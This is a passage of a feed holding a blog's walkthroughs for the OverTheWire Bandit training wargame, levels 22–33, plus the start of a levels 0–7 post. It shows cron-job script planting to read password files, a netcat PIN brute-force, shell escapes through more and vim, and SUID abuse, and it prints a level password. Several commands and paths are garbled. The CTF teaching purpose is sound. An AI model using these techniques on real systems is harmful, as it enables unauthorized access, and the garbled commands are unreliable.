&lt;p&gt;When downloading files, particularly installing files from websites, it is good to verify that the download is valid. A website will often display a hash value for each file to make sure the download is completed correctly. &lt;code&gt;md5sum&lt;/code&gt; is one of the tools you can use to validate file transfer.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If a file has changed, the checksum will throw a warning. Here we're simply displaying the hash for text &lt;code&gt;I am user $(whoami)&lt;/code&gt;, clean the output with &lt;code&gt;cut&lt;/code&gt; and assign the hash to variable mytarget.&lt;/p&gt;

&lt;p&gt;Output from &lt;code&gt;echo I am user $myname | md5sum&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;8169b67bd894ddbb4412f91573b38db3  -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There's an extra dash after the hash. &lt;code&gt;cut -d cut -d ' ' -f 1&lt;/code&gt; specifies the delimiter (&lt;code&gt;-d&lt;/code&gt;) as space (&lt;code&gt;' '&lt;/code&gt;), and select the first field with &lt;code&gt;-f&lt;/code&gt;. &lt;code&gt;-d ' '&lt;/code&gt; separates the hash and dash since there's a space between them, returns the hash only.&lt;/p&gt;

&lt;p&gt;When this script is being run, it will write the currently logged-on user’s password into a file.&lt;/p&gt;

&lt;p&gt;We can see the password is redirected to /tmp/hash. There is a caveat here, the currently logged-on user is bandit22, but we want the password for bandit23:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo I am user bandit23 | md5sum | cut -d ' ' -f 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This gives us the file name in tmp directory that stores bandit23 password. Now we just need to view it using &lt;code&gt;cat /tmp/hash&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 23
&lt;/h2&gt;

&lt;p&gt;Follow the same procedure as the previous level, the shell script running in /usr/bin/cronjob_bandit24.sh:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First the shebang is declared, then myname saves user who is currently logged on the system. Goes inside the directory /var/spool/$myname, prints the task it is about to carry out on screen with echo. &lt;/p&gt;

&lt;p&gt;The for loop &lt;code&gt;for i in * .*&lt;/code&gt; matches all files in the currently directory, including hidden files starting with a dot. &lt;code&gt;for i in *&lt;/code&gt; returns all regular files in the working directory, &lt;code&gt;for i in .*&lt;/code&gt; returns all hidden files (starting with a dot).&lt;/p&gt;

&lt;p&gt;&lt;code&gt;if [ "$i" != "." -a "$i" != ".." ]&lt;/code&gt; skips the special files &lt;code&gt;.&lt;/code&gt; and &lt;code&gt;..&lt;/code&gt; in the for loop.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;stat&lt;/code&gt; command displays file status. Try &lt;code&gt;stat -x file&lt;/code&gt; to see the output from stat. &lt;code&gt;--format&lt;/code&gt; option allows you to design the desired output from stat. &lt;code&gt;%U&lt;/code&gt; format specifier returns the owner of the file/file system. There are many versions of stat, on Mac, the equivalent command is &lt;code&gt;stat -f %Su file&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;timeout&lt;/code&gt; allows the user to execute a command and then terminate it after a set time has passed. The &lt;code&gt;timeout&lt;/code&gt; command uses the “SIGTERM” to stop a process, but many processes ignore the “SIGTERM” signal. To forcefully terminate a process using the “SIGKILL” signal &lt;code&gt;-s 9&lt;/code&gt;, cannot be ignored by any process.&lt;/p&gt;

&lt;p&gt;Here, it checks if the owner of file is bandit23. If so, execute the file, and terminate after 60 seconds.&lt;/p&gt;

&lt;p&gt;At the end of the for loop, it removes each file/folder.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Find where the password is stored&lt;br&gt;
From previous levels, we know that all passwords are in /etc/bandit_pass. Password for bandit24 will be in /etc/bandit_pass/bandit24. However, we get a permission denied when we directly &lt;code&gt;cat /etc/bandit_pass/bandit24&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make the bash script&lt;br&gt;
We do have permissions to create, read and write files in /tmp, make a new folder in tmp with mybandit23.sh that contains the following bash script (/tmp/dir23/mybandit23.sh):&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/bin/bash                                             
cat /etc/bandit_pass/bandit24 &amp;gt; /tmp/dir23/bandit24pass       
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Make the file executable by changing the mode to have all permissions:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chmod 777 mybandit23.sh
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;You might want to change the permissions of the entire &lt;code&gt;dir23&lt;/code&gt; folder to make it writable by others.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Copy the bash script to be run by bandit24&lt;/p&gt;

&lt;p&gt;We know that if we make an executable script in /var/spool/bandit24, it will be run with a timeout of 60 seconds.&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cp mybandit23.sh /var/spool/bandit24/mybandit23.sh
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Check our bash script is there:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat /var/spool/bandit24/mybandit23.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Wait until the shell script file in the folder is deleted, and check the /tmp/dir23 directory, a bandit24pass file should appear. &lt;code&gt;cat bandit24pass&lt;/code&gt; to get the password.&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 24
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;nc localhost 30002&lt;/code&gt; asks for the password and a 4 digit pin code on a single line. The steps we need to take are get all combinations of the password and pins, pass each one to port 30002.&lt;/p&gt;

&lt;p&gt;Navigate to /tmp where we are granted write permissions, and make a new folder called mydir24. Inside /tmp/mydir24, create a shell script bruteforce.sh that would loop through 4 digit numbers and append each one to pins.txt&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/bin/bash
for i in {0000..9999}
do 
    echo "password $i" &amp;gt;&amp;gt; pins.txt
done
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Make the bash script executable by user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chmod 700 bruteforce.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now run the script to create pins.txt, and give the output to port 30002:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc localhost 30002 &amp;lt; pins.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat pins.txt | nc localhost 30002
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 25
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In the home directory of bandit25, there is a bandit26.sshkey private key file,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh -i bandit26.sshkey bandit26@localhost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the connection closes immediately. Let's take the hint from the task and checkout what shell bandit26 is using.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The /etc/passwd file is a text file with one record per line, each describing a user account. It consists of 7 fields, the last field is the program that is started every time the user logs into the system, i.e. the shell for an interactive user.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat /pwd/passwd | grep bandit26
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of /bin/bash, bandit26 uses /usr/bin/showtext. A quick &lt;code&gt;cat /usr/bin.showtext&lt;/code&gt; gives&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/bin/sh

export TERM=linux

more ß/text.txt
exit 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code that terminates the shell is &lt;code&gt;exit 0&lt;/code&gt;, and the only command that runs before is &lt;code&gt;more ~/text.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;more&lt;/code&gt; command is used to view the text files in the command prompt, displaying one screen at a time in case the file is large. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Minimise your terminal before ssh into bandit26 to trigger &lt;code&gt;more&lt;/code&gt;&lt;/strong&gt;. The large “bandit26” ASCII art banner will force a “more” message to prompt you to continue. &lt;strong&gt;Press &lt;code&gt;v&lt;/code&gt; to enter the default vim text editor, and type ":e /etc/bandit_pass/bandit26"&lt;/strong&gt; to open bandit26 password file within vim.&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 26
&lt;/h2&gt;

&lt;p&gt;The shell still immediately terminates after ssh login. Do the same trick again, minimise the terminal window and then ssh login. Press "&lt;strong&gt;v&lt;/strong&gt;" to enter vim and change shell type "&lt;strong&gt;:set shell=/bin/bash&lt;/strong&gt;". Now type "&lt;strong&gt;:shell&lt;/strong&gt;" should take you back to the bash shell. Do "ls -l" to see all files in the home directory. &lt;/p&gt;

&lt;p&gt;The file "bandit27-do" has the special permission for the user access level, which means we can directly "cat" the password in /etc/bandit_pass/bandit27 (only bandit27 has the read permission) while we execute bandit27-do. A file with SUID always executes as the user who owns the file, regardless of the user passing the command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./bandit27-do cat /etc/bandit_pass/bandit27
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 27
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;There is a git repository at ssh://bandit27-git@localhost/home/bandit27-git/repo. The password for the user bandit27-git is the same as for the user bandit27. Clone the repository and find the password for the next level.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;ssh login to bandit27 as usual, make a new directory within /tmp/ where we have the write permission.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir -p /tmp/dir27
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;cd into the directory, then&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Enter the password when you're prompted on the command line. There is only one file contained in the repository, &lt;code&gt;cat&lt;/code&gt; the file to see bandit28 password.&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 28
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;There is a git repository at ssh://bandit28-git@localhost/home/bandit28-git/repo. The password for the user bandit28-git is the same as for the user bandit28. Clone the repository and find the password for the next level.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Same procedure as the previous level, &lt;code&gt;mkdir -p /tmp/dir28&lt;/code&gt;, then &lt;code&gt;git clone ssh://bandit28-git@localhost/home/bandit28-git/repo&lt;/code&gt;. This time when you cat the README.md, it doesn't show the password. Let's have look at the commit history to see if there's any clue. Type following command within the repository:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;commit edd935d60906b33f0619605abd1689808ccdd5ee&lt;br&gt;
Author: Morla Porla &lt;a href="mailto:morla@overthewire.org"&gt;morla@overthewire.org&lt;/a&gt;&lt;br&gt;
Date:   Thu May 7 20:14:49 2020 +0200&lt;br&gt;
    fix info leak&lt;br&gt;
commit c086d11a00c0648d095d04c089786efef5e01264&lt;br&gt;
Author: Morla Porla &lt;a href="mailto:morla@overthewire.org"&gt;morla@overthewire.org&lt;/a&gt;&lt;br&gt;
Date:   Thu May 7 20:14:49 2020 +0200&lt;br&gt;
    add missing data&lt;br&gt;
commit de2ebe2d5fd1598cd547f4d56247e053be3fdc38&lt;br&gt;
Author: Ben Dover &lt;a href="mailto:noone@overthewire.org"&gt;noone@overthewire.org&lt;/a&gt;&lt;br&gt;
Date:   Thu May 7 20:14:49 2020 +0200&lt;br&gt;
    initial commit of README.md&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There are actually 3 commit pushes for the repository. From the commit messages, it looks like the second commit probably contains the password. To see the actual changes made in each commit, do &lt;code&gt;git log -p&lt;/code&gt;; Alternatively, to display changes in the second commit only, do &lt;code&gt;git show&lt;/code&gt; followed by the commit hash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git show c086d11a00c0648d095d04c089786efef5e01264
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 29
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;There is a git repository at ssh://bandit29-git@localhost/home/bandit29-git/repo. The password for the user bandit29-git is the same as for the user bandit29. Clone the repository and find the password for the next level.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Same procedure as the previous level, &lt;code&gt;mkdir -p /tmp/dir28&lt;/code&gt;, then &lt;code&gt;git clone ssh://bandit28-git@localhost/home/bandit28-git/repo&lt;/code&gt;. This time when you cat the README.md, in place of password it shows &lt;em&gt;no passwords in production!&lt;/em&gt;. It implies this is the production branch, there is probably a development branch. To see all existing branches:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git branch -a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;switch to the dev branch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git checkout dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;see the README.md file on this branch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat README.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 30
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;There is a git repository at ssh://bandit30-git@localhost/home/bandit30-git/repo. The password for the user bandit30-git is the same as for the user bandit30. Clone the repository and find the password for the next level.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Same procedure as previous levels, but this time there is nothing useful contained in README.md...neither &lt;code&gt;git branch&lt;/code&gt; or &lt;code&gt;git log&lt;/code&gt; has anything interesting. Do &lt;code&gt;ls -al&lt;/code&gt; to see the hidden files, &lt;code&gt;cd .git&lt;/code&gt; and search for anything that looks like a clue. The &lt;em&gt;packed-refs&lt;/em&gt; file contains reference to the master branch, as well as a tag called &lt;em&gt;secret&lt;/em&gt;. Let's check existing tags:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git tag
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Double check the tag reference:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git show-ref --tags
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Tags are ref's that point to specific points in Git history. Tagging is generally used to capture a point in history that is used for a marked version release (i.e. v1. 0.1). A tag is like a branch that doesn't change. Unlike branches, tags, after being created, have no further history of commits.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Reveal the content of the tag using &lt;code&gt;git show&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git show secret
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 31
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;There is a git repository at ssh://bandit31-git@localhost/home/bandit31-git/repo. The password for the user bandit31-git is the same as for the user bandit31. Clone the repository and find the password for the next level.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Same procedure as previous levels, the actual instructions are in README.md of the repository. The task for this level is to push a text file to the remote repository. Inside of the repository, make the key.txt file with the required text. &lt;/p&gt;

&lt;p&gt;Now the file exists locally, to push to remote, first step is to add the file to stage:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git add .
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Double check the file has been added:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and it hasn't! Let's see everything inside the repository:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls -al
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is a .gitignore file which tells git not to track the changes in certain types of files. Remove the line from .gitignore, now try add to stage again, then git commit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git commit -m "adding my key file"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and push the changes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git push
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 32
&lt;/h2&gt;

&lt;p&gt;After you ssh login, you will enter UPPERCASE SHELL where non of the terminal commands work anymore. To escape out of the shell and spawn a new shell, use the special parameter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;display password as usual:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat /etc/bandit_pass/bandit33
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;$0 Expands to the name of the shell or shell script. This is set at shell initialization.&lt;/p&gt;

&lt;p&gt;If Bash is invoked with a file of commands, $0 is set to the name of that file.&lt;/p&gt;

&lt;p&gt;If Bash is started with the -c option, then $0 is set to the first argument after the string to be executed, if one is present. Otherwise, it is set to the filename used to invoke Bash, as given by argument zero.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://unix.stackexchange.com/questions/280454/what-is-the-meaning-of-0-in-the-bash-shell"&gt;What is the meaning of $0 in the Bash shell&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 33
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh bandit33@bandit.labs.overthewire.org -p 2220
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;password: c9c3199ddf4121b10cf581a98d51caee&lt;/p&gt;

&lt;p&gt;bandit33@bandit:~$ cat README.txt&lt;br&gt;
Congratulations on solving the last level of this game!&lt;/p&gt;

&lt;p&gt;At this moment, there are no more levels to play in this game. However, we are constantly working on new levels and will most likely expand this game with more levels soon.&lt;/p&gt;

&lt;p&gt;Keep an eye out for an announcement on our usual communication channels!&lt;/p&gt;

&lt;p&gt;In the meantime, you could play some of our other wargames.&lt;/p&gt;

&lt;p&gt;If you have an idea for an awesome new level, please let us know!&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>overthewire</category>
      <category>hacking</category>
      <category>security</category>
    </item>
    <item>
      <title>OverTheWire Bandit Levels 0-18 Hints and Notes</title>
      <dc:creator>Yulin</dc:creator>
      <pubDate>Thu, 10 Mar 2022 18:22:11 +0000</pubDate>
      <link>https://dev.to/yulin/overthewire-bandit-level-0-34-hints-and-notes-4o85</link>
      <guid>https://dev.to/yulin/overthewire-bandit-level-0-34-hints-and-notes-4o85</guid>
      <description>&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;p&gt;Level 0 -SSH&lt;br&gt;
Level 1 - Cat&lt;br&gt;
Level 2 - Cat&lt;br&gt;
Level 3 - ls&lt;br&gt;
Level 4 - File&lt;br&gt;
Level 5 - Find&lt;br&gt;
Level 6 - Find&lt;br&gt;
Level 7 - Grep&lt;br&gt;
Level 8 - Piping&lt;br&gt;
Level 9 - Strings&lt;br&gt;
Level 10 - Base64&lt;br&gt;
Level 11 - ROT13&lt;br&gt;
Level 12 - Hexdump&lt;br&gt;
Level 13 - SSH localhost&lt;br&gt;
Level 14 - nc&lt;br&gt;
Level 15 - Openssl&lt;br&gt;
Level 16 - nmap, chmod&lt;br&gt;
Level 17 - diff&lt;br&gt;
Level 18 - pty&lt;/p&gt;


&lt;h2&gt;
  
  
  Level 0
&lt;/h2&gt;

&lt;p&gt;The syntax to ssh login is &lt;code&gt;ssh your_username@host_ip_address&lt;/code&gt;, and we can specify the port using &lt;code&gt;-p&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh bandit0@bandit.labs.overthewire.org -p 2220
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 1
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Open file called - located in the home directory&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat ./-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just &lt;code&gt;cat -&lt;/code&gt; command will be interpreted as using standard input and output to read from and write to. The &lt;code&gt;./-&lt;/code&gt; defines a relative path to the file.&lt;/p&gt;

&lt;p&gt;Alternatively redirect the file to cat:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat &amp;lt; -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 2
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Open file called spaces in this filename located in the home directory&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat "spaces in this filename"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat spaces\in\this\filename
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 3
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Find hidden file in the inhere directory&lt;/em&gt;&lt;br&gt;
To get inside the inhere directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cd inhere
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hidden files are files whose names start with a dot. To display the hidden files in current directory, we can use the &lt;code&gt;-al&lt;/code&gt; option of &lt;code&gt;ls&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls -al
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and then&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat .hidden
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 4
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Find the only human-readable file in the inhere directory&lt;/em&gt;&lt;br&gt;
The &lt;code&gt;cat&lt;/code&gt; command is used on text files, i.e. human readable. To find the file types of all files in current directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;file ./*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Spot the only ASCII text file and &lt;code&gt;cat&lt;/code&gt; on the file.&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 5
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Find the file somewhere under the inhere directory and has all of the following properties:&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;human-readable&lt;br&gt;
1033 bytes in size&lt;br&gt;
not executable&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find ./inhere -readable -size 1033c \! -executable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that this command will not work on BSD, i.e., Mac terminal version of &lt;code&gt;find&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Alternatively, loop through everything and &lt;code&gt;file&lt;/code&gt; on each one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for i in $(ls); do file -i "./$i"; done;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 6
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Search for a file in server that has all of the following properties:&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;owned by user bandit7&lt;br&gt;
owned by group bandit6&lt;br&gt;
33 bytes in size&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find / -size 33c -user bandit7 -group bandit6
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The suffix &lt;code&gt;c&lt;/code&gt; in &lt;code&gt;33c&lt;/code&gt; indicates bytes, other options are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;b&lt;/code&gt; – 512-byte blocks (this is the default if no suffix is used)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;c&lt;/code&gt; – bytes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;w&lt;/code&gt; – two-byte words&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;k&lt;/code&gt; – Kilobytes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;M&lt;/code&gt; – Megabytes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;G&lt;/code&gt; – Gigabytes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://linuxconfig.org/how-to-use-find-command-to-search-for-files-based-on-file-size"&gt;How to use find command to search for files based on file size&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 7
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Find the line containing the word millionth&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;grep --include=\*.{txt} -rnw . -e 'millionth'
